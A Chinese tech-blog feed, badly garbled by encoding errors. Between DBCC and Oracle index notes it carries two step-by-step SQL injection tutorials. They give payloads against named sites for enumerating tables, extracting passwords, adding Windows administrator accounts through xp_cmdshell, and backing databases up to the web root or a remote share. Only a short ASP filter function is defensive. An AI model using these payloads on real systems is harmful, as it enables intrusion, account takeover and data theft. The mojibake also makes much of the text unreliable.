　　indexalloc��查指定的索引�Q�确保所有的��都被正��地分配�Q�它是checkalloc的羃?y��u)��版本，对单独一条烦引指定同��L(f��ng)��完整性检查。其中各选项与tablealloc相同�?

　　checkcatalog选项

　　checkcatalog选项用于��查系�l�表内，�pȝ��表之间的一致性。例如：(x��)它确保在syscolumns表中的每一�Q�数据）�c�d��在systypes表中都有一个相匚w��的记录；对于sysobjects中的每个表和视图在syscolumns表中应有关于它们每一列的描述记录�Q�确保在syslogs中的最后一个检查点是有效的。checkcatalog也报告�Q何已定义的段。若不指定数据库名，则检查当前数据库�?

　　dbrepair选项

　　dbrepair�Q�数据库名，dropdb�Q�选项是删除一个受破坏的数据库。受破坏的数据库是不能用drop database命��o(h��)删除的，drop database只能删除正常的数据库�Q�当执行dbrepair命��o(h��)�Ӟ��M��用户�Q�包括执行此命��o(h��)的用��P��都不得��用正被删除的数据库。该选项要在master库中�q�行�?

　　reindex选项

　　reindex选项通过�q�行dbcc checktable�?#8220;fast”执行方式��查用戯��上烦引的完整性。如果它��出索引有问题则�?x��)删除�ƈ重徏索引。在SQL Server的排列顺序改变之后，SA或表属主应该执行�q�一选项。此选项不能在用户定义的事务中运行�?

例：(x��)

dbcc reindex (titles)
�q�回信息�Q�One or more indexes corrupt.They will be rebuilt.

　　fix_text选项

　　SQL Server的字�W�集由单字节转变为多字节后，fix_text选项用于升��文本倹{��SQL Server的字�W�集由单字节转变为多字节字符集会(x��)使文本数据的��理更加复杂。由于文本值可能较大��以覆盖若�q�页�Q�SQL Server必须能处理（通过��늺�束）可能横跨��늚�字符。�ؓ(f��)做到�q�点�Q�服务器需要在每一文本��上��d��一些信息。SA或表属主必须在文本数据的每一个表上运行dbcc fix_text�Q�以计算所需要的新页数�?

　　��M��Q�DBCC命��o(h��)所�q�回的信息能准确地反映数据库及它的各个对象的状态，是我们检��数据库的好帮手�?/p>

☜♥☞MengChuChen 2007-04-13 08:31 发表评论

��详�l�SQL注入�Ҏ(gu��)��

☜♥☞MengChuChen — Fri, 13 Apr 2007 00:00:00 GMT

��详�l�SQL注入�Ҏ(gu��)��Q�对初学者有很大的帮助！对你没帮助就不要��Ӟ��

随着B/S模式应用开发的发展�Q��用这�U�模式编写应用程序的�E�序员也��来��多。但是由于这个行业的入门门槛不高�Q�程序员的水�q�_��l�验也参差不齐，相当大一部分�E�序员在�~�写代码的时候，没有对用戯��入数据的合法性进行判断，使应用程序存在安全隐�(zh��n)�。用户可以提交一�D�|��据库查询代码�Q�根据程序返回的�l�果�Q�获得某些他惛_��知的数据�Q�这��是所谓的SQL Injection�Q�即�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�?br>
�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入是从正常的WWW端口讉K��Q�而且表面看�v来跟一般的Web��面讉K��没什么区别，所以目前市面的防火墙都不会(x��)对Ｓ�Q�Ｌ注入发出警报�Q�如果管理员没查看IIS日志的习(f��n)惯，可能被入侵很长时间都不会(x��)发觉�?br>
但是�Q�Ｓ�Q�Ｌ注入的手法相当灵�z�，�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候会(x��)��到很多意外的情��c��能不能�Ҏ(gu��)��具体情况�q�行分析�Q�构造��y妙的SQL语句�Q�从而成功获取想要的数据�Q�是高手�?#8220;菜鸟”的根本区别�?br>
�Ҏ(gu��)��国情�Q�国内的�|�站用ASP+Access或SQLServer的占70%以上�Q�PHP+MySQ占L20%�Q�其他的不��10%。在本文�Q�我们从分入门、进阶至高��讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写�Q�希望对安全工作者和�E�序员都有用处。了解ASP注入的朋友也请不要蟩�q�入门篇�Q�因为部分�h�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的基本判断方法还存在误区。大家准备好了吗�Q�Let's Go...

�?�?��?br>
如果你以前没试过�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的话�Q�那么第一步先把IE菜单=>工具=>Internet选项=>高��=>昄��友好 HTTP 错误信息前面的勾��L��。否则，不论服务器返回什么错误，IE都只昄��为HTTP 500服务器错误，不能获得更多的提�C�Z��息�?

�W�一节、Ｓ�Q�Ｌ注入原理

以下我们从一个网站www.19cn.com开始（注：(x��)本文发表前已征得该站站长同意�Q�大部分都是真实数据�Q��?br>
在网站首��上�Q�有名�ؓ(f��)“IE不能打开新窗口的多种解决�Ҏ(gu��)��”的链接，地址为：(x��)http://www.19cn.com/showdetail.asp?id=49�Q�我们在�q�个地址后面加上单引�?#8217;�Q�服务器�?x��)返回下面的错误提示�Q?br>
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误在查询表辑ּ� 'ID=49'' 中�?br>/showdetail.asp�Q�行8

从这个错误提�C�我们能看出下面几点�Q?br>
1.�|�站使用的是Access数据库，通过JET引擎�q�接数据库，而不是通过ODBC�?br>2.�E�序没有判断客户端提交的数据是否�W�合�E�序要求�?br>3.�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句所查询的表中有一名�ؓ(f��)ID的字�D�c�?br>
从上面的例子我们可以知道�Q�Ｓ�Q�Ｌ注入的原理，��是从客��L(f��ng)��提交�Ҏ(gu��)��的代码，从而收集程序及服务器的信息�Q�从而获取你惛_��得到的资料�?br>
�W�二节、判断能否进行Ｓ�Q�Ｌ注入

　　看完�W�一节，有一些�h�?x��)觉得�?x��)我也是经常这��h��试能�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的，�q�不是很��单吗�Q?br>　　其实�Q�这�q�不是最好的�Ҏ(gu��)��Q��ؓ(f��)什么呢�Q?br>
　　首先�Q�不一定每台服务器的IIS都返回具体错误提�C�给客户端，如果�E�序中加了cint(参数)之类语句的话�Q�Ｓ�Q�Ｌ注入是不�?x��)成功的�Q�但服务器同样会(x��)报错�Q�具体提�C�Z��息�ؓ(f��)处理 URL 时服务器上出错。请和系�l�管理员联络�?br>
其次�Q�部分对�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入有一点了解的�E�序员，认�ؓ(f��)只要把单引号�q��o(h��)掉就安全了，�q�种情况不�ؓ(f��)��数�Q�如果你用单引号��试�Q�是��不�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入点的

　　那么�Q�什么样的测试方法才是比较准��呢�Q�答案如下：(x��)

�?http://www.19cn.com/showdetail.asp?id=49
�?http://www.19cn.com/showdetail.asp?id=49 and 1=1
�?http://www.19cn.com/showdetail.asp?id=49 and 1=2

�q�就是经典的1=1�?=2��试法了�Q�怎么判断呢？看看上面三个�|�址�q�回的结果就知道了：(x��)

可以注入的表玎ͼ�(x��)

�?正常昄��Q�这是必然的�Q�不然就是程序有错误了）
�?正常昄��Q�内容基本与①相�?br>�?提示BOF或EOF�Q�程序没做�Q何判断时�Q�、或提示找不到记录（判断了rs.eof�Ӟ��、或昄��内容为空�Q�程序加了on error resume next�Q?br>
不可�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入��比较容易判断了�Q�①同样正常昄��Q�②和③一般都�?x��)有�E�序定义的错误提�C�，或提�C�类型�{换时出错�?br>
　　当然�Q�这只是传入参数是数字型的时候用的判断方法，实际应用的时候会(x��)有字�W�型和搜索型参数�Q�我��在中�񔽋�的“�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入一般步�?#8221;再做分析�?

�W�三节、判断数据库�c�d��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�Ҏ(gu��)��

不同的数据库的函数�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入�Ҏ(gu��)��都是有差异的�Q�所以在注入之前�Q�我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer�Q�网上超�q?9%的网站都是其中之一�?br>
怎么让程序告诉你它��用的什么数据库呢？来看看：(x��)

SQLServer有一些系�l�变量，如果服务器IIS提示没关闭，�q�且SQLServer�q�回错误提示的话�Q�那可以直接从出错信息获取，�Ҏ(gu��)��如下�Q?br>
http://www.19cn.com/showdetail.asp?id=49 and user>0

�q�句语句很简单，但却包含了SQLServer�Ҏ(gu��)��注入�Ҏ(gu��)��的精髓，我自�׃��是在一�ơ无意的��试中发现这�U�效率极高的猜解�Ҏ(gu��)��。让我看来看看它的含义：(x��)首先�Q�前面的语句是正常的�Q�重点在and user>0�Q�我们知道，user是SQLServer的一个内�|�变量，它的值是当前�q�接的用户名�Q�类型�ؓ(f��)nvarchar。拿一个nvarchar的��D��int的数0比较�Q�系�l�会(x��)先试囑ְ�nvarchar的��D�{成int型，当然�Q��{的过�E�中肯定�?x��)出错，SQLServer的出错提�C�是�Q�将nvarchar�?”abc” 转换数据�c�d��?int 的列时发生语法错误，呵呵�Q�abc正是变量user的��|��q�样�Q�不废吹��C��力就拿到了数据库的用户名。在以后的篇�q�里�Q�大家会(x��)看到很多用这�U�方法的语句�?br>
��Z��说几句，众所周知�Q�SQLServer的用户sa是个�{�同Adminstrators权限的角�Ԍ��拿到了sa权限�Q�几乎肯定可以拿��C��机的Administrator了。上面的�Ҏ(gu��)��可以很方便的��试出是否是用sa��d��Q�要注意的是�Q�如果是sa��d��Q�提�C�是��?#8221;dbo”转换成int的列发生错误�Q�而不�?#8221;sa”�?

如果服务器IIS不允许返回错误提�C�，那怎么判断数据库类型呢�Q�我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系�l�表�Q�比如存放数据库中所有对象的表，Access是在�pȝ��表[msysobjects]中，但在Web环境下读该表�?x��)提�C?#8220;没有权限”�Q�SQLServer是在表[sysobjects]中，在Web环境下可正常��d��?br>
在确认可�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的情况下�Q��用下面的语句�Q?br>
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0

如果数据库是SQLServer�Q�那么第一个网址的页面与原页�?a target=_blank>http://www.19cn.com/showdetail.asp?id=49是大致相同的�Q�而第二个�|�址�Q�由于找不到表msysobjects�Q�会(x��)提示出错�Q�就��程序有定w��处理�Q�页面也与原��面完全不同�?br>
如果数据库用的是Access�Q�那么情况就有所不同�Q�第一个网址的页面与原页面完全不同；�W�二个网址�Q�则视乎数据库设�|�是否允许读该系�l�表�Q�一般来说是不允许的�Q�所以与原网址也是完全不同。大多数情况下，用第一个网址��可以得知系�l�所用的数据库类型，�W�二个网址只作为开启IIS错误提示时的验证�?br>
(入门��完)
说明:使用NBSI-NB联盟SQL注入分析器可以检��出各种SQL注入漏洞�q�进行解�?提高猜解效率.

在入门篇�Q�我们学�?x��)了�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的判断方法，但真正要拿到�|�站的保密内容，是远�q�不够的。接下来�Q�我们就�l�箋学习(f��n)如何从数据库中获取想要获得的内容�Q�首先，我们先看看Ｓ�Q�Ｌ注入的一般步骤：(x��)

�W�一节、Ｓ�Q�Ｌ注入的一般步�?br>
首先�Q�判断环境，��L��注入点，判断数据库类型，�q�在入门��已�l�讲�q�了�?br>
其次�Q�根�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入参数�c�d��Q�在脑�v中重�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句的原貌，按参数类型主要分��Z��面三�U�：(x��)

(A) ID=49 �q�类注入的参数是数字型，SQL语句原貌大致如下�Q?br>Select * from 表名 where 字段=49
注入的参��Cؓ(f��)ID=49 And [查询条�g]�Q�即是生成语句：(x��)
Select * from 表名 where 字段=49 And [查询条�g]

(B) Class=�q�箋�?�q�类注入的参数是字符型，SQL语句原貌大致概如下：(x��)
Select * from 表名 where 字段=’�q�箋�?#8217;
注入的参��Cؓ(f��)Class=�q�箋�?#8217; and [查询条�g] and ‘’=’ �Q�即是生成语句：(x��)
Select * from 表名 where 字段=’�q�箋�?#8217; and [查询条�g] and ‘’=’’

(C) 搜烦时没�q��o(h��)参数的，如keyword=关键字，SQL语句原貌大致如下�Q?br>Select * from 表名 where 字段like ’%关键�?’
注入的参��Cؓ(f��)keyword=’ and [查询条�g] and ‘%25’=’�Q?��x��生成语句�Q?br>Select * from 表名 where字段like ’%’ and [查询条�g] and ‘%’=’%’

接着�Q�将查询条�g替换�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句�Q�猜解表名，例如�Q?br>
ID=49 And (Select Count(*) from Admin)>=0

如果��面��׃��ID=49的相同，说明附加条�g成立�Q�即表Admin存在�Q�反之，即不存在�Q�请牢记�q�种�Ҏ(gu��)��Q�。如此��@环，直至猜到表名为止�?br>
表名猜出来后�Q�将Count(*)替换成Count(字段�?�Q�用同样的原理猜解字�D�名�?br>
有�h�?x��)说�Q�这里有一些偶然的成分�Q�如果表名�v得很复杂没规律的�Q�那�Ҏ(gu��)��没得玩下去了。说得很对，�q�世界根本就不存�?00%成功的黑客技术，苍蝇不叮无缝的蛋�Q�无论多技术多高深的黑客，都是因�ؓ(f��)别�h的程序写得不严密或��用者保密意识不够，才有得下手�?br>
有点跑题了，话说回来�Q�对于SQLServer的库�Q�还是有办法让程序告诉我们表名及字段名的�Q�我们在高�񔽋�中�?x��)做介绍�?br>

最后，在表名和列名猜解成功后，再��?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语句�Q�得出字�D늚��|��下面介绍一�U�最常用的方法－Ascii逐字解码法，虽然�q�种�Ҏ(gu��)��速度很慢�Q�但肯定是可行的�Ҏ(gu��)��?br>
我们举个例子�Q�已知表Admin中存在username字段�Q�首先，我们取第一条记录，��试长度�Q?br>
http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

先说明原理：(x��)如果top 1的username长度大于0�Q�则条�g成立�Q�接着��是>1�?gt;2�?gt;3�q�样��试下去�Q�一直到条�g不成立�ؓ(f��)止，比如>7成立�Q?gt;8不成立，��是len(username)=8

　　当然没�h�?x��)笨得�?,1,2,3一个个��试�Q�怎么��h��比较快就看各自发挥了。在得到username的长度后�Q�用mid(username,N,1)截取�W�N位字�W�，再asc(mid(username,N,1))得到ASCII码，比如�Q?br>
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步�~�小范围的方法得到第1位字�W�的ASCII码，注意的是英文和数字的ASCII码在1-128之间�Q�可以用折半法加速猜解，如果写成�E�序��试�Q�效率会(x��)有极大的提高�?br>

�W�二节、Ｓ�Q�Ｌ注入常用函数

�?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL语言基础的�h�Q�在�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的时候成功率比不熟�?zh��n)�的�h高很多。我们有必要提高一下自��q��SQL水��^�Q�特别是一些常用的函数及命令�?br>
Access�Q�asc(字符) SQLServer�Q�unicode(字符)

作用�Q�返回某字符的ASCII�?br>

Access�Q�chr(数字) SQLServer�Q�nchar(数字)

作用�Q�与asc相反�Q�根据ASCII码返回字�W?br>

Access�Q�mid(字符�?N,L) SQLServer�Q�substring(字符�?N,L)

作用�Q�返回字�W�串从N个字�W��v长度为L的子字符�Ԍ��即N到N+L之间的字�W�串

Access�Q�abc(数字) SQLServer�Q�abc (数字)

作用�Q�返回数字的�l�对��|��在猜解汉字的时候会(x��)用到�Q?br>

Access�Q�A between B And C SQLServer�Q�A between B And C

作用�Q�判断A是否界于B与C之间

�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入中碰��C��文字�W�是常有的事�Q�有些�h一��到中文字符��想打退堂鼓了。其实只要对中文的编码有所了解�Q?#8220;中文恐惧�?#8221;很快可以克服�?br>
先说一点常识：(x��)

Access中，中文的ASCII码可能会(x��)出现负数�Q�取��负数后用abs()取绝对��|��汉字字符不变�?br>
SQLServer中，中文的ASCII为正敎ͼ�但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()�q�回unicode��|��再用nchar函数取得对应的中文字�W��?br>
了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外�Q�方法是没什么两��L(f��ng)��?br>
(�q�阶��完)

看完入门��和�q�阶��后�Q�稍加练�?f��n)，破解一般的�|�站是没问题了。但如果��到表名列名猜不刎ͼ�或程序作者过滤了一些特�D�字�W�，怎么提高注入的成功率�Q�怎么��h��高猜解效率？请大家接着往下看高�񔽋��?br>
�W�一节、利用系�l�表注入SQLServer数据�?br>
SQLServer是一个功能强大的数据库系�l�，与操作系�l�也有紧密的联系�Q�这�l�开发者带来了很大的方便，但另一斚w��Q�也�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入者提供了一个蟩板，我们先来看看几个具体�?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子�Q?br>
�?http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

　　分号;在SQLServer中表�C�隔开前后两句语句�Q?-表示后面的语句�ؓ(f��)注释�Q�所以，�q�句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储�q�程xp_cmdshell�Q�这个存储过�E�用于调用系�l�命令，于是�Q�用net命��o(h��)新徏了用户名为name、密码�ؓ(f��)password的windows的帐��P��接着�Q?br>
�?http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

　　��新建的帐号name加入��理员组�Q�不用两分钟�Q�你已经拿到了系�l�最高权限！当然�Q�这�U�方法只适用于用sa�q�接数据库的情况�Q�否则，是没有权限调用xp_cmdshell的�?br>
　　�?http://Site/url.asp?id=1 ;;and db_name()>0

前面有个�c�M��?strong style="COLOR: black; BACKGROUND-COLOR: #ff9999">例子and user>0�Q�作用是获取�q�接用户名，db_name()是另一个系�l�变量，�q�回的是�q�接的数据库名�?br>
�?http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

�q�是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的�l�对路径�Q�将数据库备份到Web目录下面�Q�再用HTTP把整个数据库��完完整整的下蝲回来�Q�所有的��理员及用户密码都一览无遗！在不知道�l�对路径的时候，�q�可以备份到�|�络地址的方法（如\\202.96.xx.xx\Share\1.db�Q�，但成功率不高�?br>
　　�?http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过�Q�sysobjects是SQLServer的系�l�表�Q�存储着所有的表名、视图、约束及其它对象�Q�xtype=’U’ and status>0�Q�表�C�用户徏立的表名�Q�上面的语句��第一个表名取出，�?比较大小�Q�让报错信息把表名暴露出来。第二、第三个表名怎么获取�Q�还是留�l�我们聪明的读者思考吧�?br>
�?http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID�Q�col_name(表名ID,1)代表该表的第1个字�D�名�Q�将1换成2,3,4...��可以逐个获取所猜解表里面的字段名�?br>
　　以上6�Ҏ(gu��)��我研�I�SQLServer注入半年多以来的心血�l�晶�Q�可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研�I�SQLServer注入之后�Q�我在开发方面的水��^也得到很大的提高�Q�呵呵，也许安全与开发本来就是相辅相成的吧�?br>
�W�二节、绕�q�程序限制��l?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入

在入门篇提到�Q�有很多人喜�Ƣ用’��h��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞�Q�所以也有很多�h用过�?#8217;��L(f��ng)��Ҏ(gu��)��?#8220;防止”注入漏洞�Q�这也许能挡住一些入门者的��d��Q�但对Ｓ�Q�Ｌ注入比较熟�?zh��n)�的�h�Q�还是可以利用相关的函数�Q�达到绕�q�程序限制的目的�?br>
�?#8220;�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入的一般步�?#8221;一节中�Q�我所用的语句�Q�都是经�q�我优化�Q�让其不包含有单引号的；�?#8220;利用�pȝ��?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入SQLServer数据�?#8221;中，有些语句包含�?#8217;��P��我们举个例子来看看怎么攚w��这些语句：(x��)

��单的如where xtype=’U’�Q�字�W�U对应的ASCII码是85�Q�所以可以用where xtype=char(85)代替�Q�如果字�W�是中文的，比如where name=’用户’�Q�可以用where name=nchar(29992)+nchar(25143)代替�?br>
�W�三节、经验小�l?br>
1.有些��Z��(x��)�q��o(h��)Select、Update、Delete�q�些关键字，但偏偏忘记区分大��写�Q�所以大家可以用selecT�q�样��试一下�?br>
2.在猜不到字段名时�Q�不妨看看网站上的登录表单，一般�ؓ(f��)了方便�v见，字段名都与表单的输入框取相同的名字�?br>
3.特别注意�Q�地址栏的+号传入程序后解释为空��|��%2B解释�?��P��%25解释�?��P��具体可以参考URLEncode的相关介�l��?br>
4.用Get�Ҏ(gu��)��注入�Ӟ��IIS�?x��)记录你所有的提交字符�Ԍ��对Post�Ҏ(gu��)��做则不记录，所以能用Post的网址��量不用Get�?br>
5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用�q�种�Ҏ(gu��)��Q�只需要两者之间的区别卛_��Q�但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会(x��)有极大的提高�?br>
�?�?�?�?br>
�Q�I��Q?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入漏洞可谓�?#8220;千里之堤�Q�溃于蚁�I?#8221;�Q�这�U�漏�z�在�|�上极�ؓ(f��)普遍�Q�通常是由于程序员�?strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">注入不了解，或者程序过滤不严格�Q�或者某个参数忘记检查导致。在�q�里�Q�我�l�大家一个函敎ͼ�代替ASP中的Request函数�Q�可以对一切的SQL注入Say NO�Q�函数如下：(x��)

Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符�?br>'ParaType:参数�c�d��-数字�?1表示以上参数是数字，0表示以上参数为字�W?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型�Q?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''"
End if
SafeRequest=ParaValue
End function

文章到这里就�l�束了，不管你是安全人员、技术爱好者还是程序员�Q�我都希望本文能对你有所帮助�?/font>

日志标题�Q?strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">SQL注入的新技�?br>发表旉��Q?005-2-19 8:25:00

SQL注入的新技�?/font>

表名和字�D�名的获得_适用情况:
1)数据库是MSSQL
2)�q�接数据库的只是普通用�?br>3)不知道ASP源代�?br>
可以�q�行的攻�?br>1)�Ҏ(gu��)��据内容进行添加，查看�Q�更�?br>
实例:
本文件以
http://www.dy/***.com/user/wantpws.asp
为列�q�行��试��d��?br>
�W�一�?
在输入用户名处输入单引号�Q�显�C?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符�?之前有未闭合的引受��?

/user/wantpws.asp�Q�行63

说明没有�q��o(h��)单引号且数据库是MSSQL.

�W�二�?
输入a;use master;--
昄��
Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能，��h��查每�?OLE DB 状态倹{��没有工作被完成�?

/user/wantpws.asp�Q�行63
�q�样说明没有权限了�?br>
�W�三�?
输入:a or name like fff%;--
昄��有一个叫ffff的用户哈�?br>
�W�四�?
在用户名处输�?br>ffff and 1<>(select count(email) from [user]);--
昄��:
Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象�?user 无效�?

/user/wantpws.asp�Q�行96

说明没有叫user的表�Q�换成users试试成功,同时说明有一个叫email的列.
(东方飘云的一个办法是输入a having 1=1--
一般返回如下也��可以直接得到表名和一个字�D�名�?br>Microsoft OLE DB Provider for SQL Server 错误 80040e14
�?users.ID 在选择列表中无效，因�ؓ(f��)该列未包含在聚合函数中，�q�且没有 GROUP BY 子句�?

/user/wantpws.asp�Q�行63

)

现在我们知道了ffff用户的密码是111111.

下面通过语句得到数据库中的所有表名和字段名�?br>
�W�五�?
输入:
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用戯��,�q�把表名攑֜�ffff用户的邮��字�D�中�?br>通过查看ffff的用戯��料可得第一个用表叫ad
然后�Ҏ(gu��)��表名ad得到�q�个表的ID
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
同上可知id�?581577110
�׃��对象标志id是根据由��到大排列的所以我们可以得到所有的用户表的名字�?br>象下面这样就可以得到�W�二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

ad 581577110
users 597577167
buy 613577224
car 629577281
learning 645577338
log 661577395
movie 677577452
movieurl 693577509
password 709577566
type 725577623
talk

�l�过一�D�|��间的猜测后我们得��C��面的分析一下应该明白password,users是最得要�?br>
�W�六�?猜重要表的字�D?br>输入:
现在��q��看users表有哪些字段
ffff;update [users] set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--
得到�W�三个字�D�|��password
ffff;update [users] set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--
得到�W�四个字�D�|��name
最后users表的字段�?8个全得到�?br>(�?另一个得到字�D늚�办法,前提是系�l�的�q�回出错信息
a group by ID having 1=1--
得到
Microsoft OLE DB Provider for SQL Server 错误 80040e14
�?users.userid 在选择列表中无效，因�ؓ(f��)该列既不包含在聚合函��C��Q�也不包含在 GROUP BY 子句中�?

/user/wantpws.asp�Q�行63
�q�个�W�二个字�D�就是userid
昄��W�三个字�D�c�?
a group by id,userid having 1=1--

Microsoft OLE DB Provider for SQL Server �?/span>

☜♥☞MengChuChen 2007-04-13 08:00 发表评论

☜♥☞MengChuChen — Thu, 08 Mar 2007 00:45:00 GMT

在Oracle中，SYSTEM表是安装数据库时自动建立的，它包含数据库的全部数据字典，存储�q�程、包、函数和触发器的定义以及�pȝ��回滚�D�c�?br />
　　一般来��_(d��)��应该��量避免在SYSTEM表中存储非SYSTEM用户的对象。因��样会(x��)带来数据库维护和��理的很多问题。一旦SYSTEM表损坏了�Q�只能重新生成数据库。我们可以用下面的语句来��查在SYSTEM表内有没有其他用��L(f��ng)��索引存在�?br />

select count(*)
from dba_indexes
where tablespace_name = 'SYSTEM'
and owner not in ('SYS','SYSTEM')
/

　　�? 索引的存储情冉|��?/b>

　　Oracle为数据库中的所有数据分配逻辑�l�构�I�间。数据库�I�间的单位是数据块（block�Q�、范��_(d��)��extent�Q�和�D�（segment�Q��?br />
　　Oracle数据块（block�Q�是Oracle使用和分配的最��存储单位。它是由数据库徏立时讄��的DB_BLOCK_SIZE军_��的。一旦数据库生成了，数据块的大小不能改变。要��x��变只能重新徏立数据库。（在Oracle9i中有一些不同，不过�q�不在本文讨论的范围内。）

　　Extent是由一�l�连�l�的block�l�成的。一个或多个extent�l�成一个segment。当一个segment中的所有空间被用完�Ӟ��Oracle为它分配一个新的extent�?br />　
　　Segment是由一个或多个extent�l�成的。它包含某表�I�间中特定逻辑存储�l�构的所有数据。一个段中的extent可以是不�q�箋的，甚至可以在不同的数据文�g中�?br />
　　一个object只能对应于一个逻辑存储的segment�Q�我们通过查看该segment中的extent�Q�可以看出相应object的存储情��c�?br />
　　�Q?�Q�查看烦引段中extent的数量：(x��)

select segment_name, count(*)
from dba_extents
where segment_type='INDEX'
and owner=UPPER('&owner')
group by segment_name
/

　　�Q?�Q�查看表�I�间内的索引的扩展情况：(x��)

select
substr(segment_name,1,20) "SEGMENT NAME",
bytes,
count(bytes)
from dba_extents
where segment_name in
( select index_name
from dba_indexes
where tablespace_name=UPPER('&表空�?))
group by segment_name,bytes
order by segment_name
/

�? 索引的选择�?br />
　　索引的选择性是指烦引列中不同值的数目与表中记录数的比。如果一个表中有2000条记录，表烦引列�?980个不同的��|��那么�q�个索引的选择性就�?980/2000=0.99�?br />
　　一个烦引的选择性越接近�?�Q�这个烦引的效率��p��高�?br />
　　如果是��用基于cost的最优化�Q�优化器不应该��用选择性不好的索引。如果是使用��Z��rule的最优化�Q�优化器在确定执行�\径时不会(x��)考虑索引的选择性（除非是唯一性烦引）�Q��ƈ且不得不手工优化查询以避免��用非选择性的索引�?br />
　　��定索引的选择性，可以有两�U�方法：(x��)手工��量和自动测量�?br />
　　�Q?�Q�手工测量烦引的选择�?br />
　　如果要根据一个表的两列创��Z��列�ƈ�|�烦引，可以用以下方法测量烦引的选择性：(x��)

　　列的选择�?不同值的数目/行的��L�� /* ��接�q?��好 */

select count(distinct �W�一列||'%'||�W�二�?/count(*)
from 表名
/

　　如果我们知道其中一列烦引的选择性（例如其中一列是主键�Q�，那么我们��可以知道另一列烦引的选择性�?br />
　　手工�Ҏ(gu��)��的优�Ҏ(gu��)��在创建烦引前��p��评估索引的选择性�?br />
　　�Q?�Q�自动测量烦引的选择�?br />
　　如果分析一个表�Q�也�?x��)自动分析所有表的烦引�?br />
　　�W�一�Q��ؓ(f��)了确定一个表的确定性，��p��分析表�?br />
analyze table 表名
compute statistics
/

　　�W�二�Q�确定烦引里不同关键字的数目�Q?br />
select distinct_keys
from user_indexes
where table_name='表名'
and index_name='索引�?
/

　　�W�三�Q�确定表中行的��L��Q?br />
select num_rows
from user_tables
where table_name='表名'
/

　　�W�四�Q�烦引的选择�?索引里不同关键字的数�?表中行的��L��Q?br />
select i.distinct_keys/t.num_rows
from
user_indexes i,
user_tables t
where i.table_name='表名'
and i.index_name='索引�?
and i.table_name=t.table_name
/

　　�W�五�Q�可以查询USER_TAB_COLUMNS以了解每个列的选择性�?br />
　　表中所有行在该列的不同值的数目�Q?br />
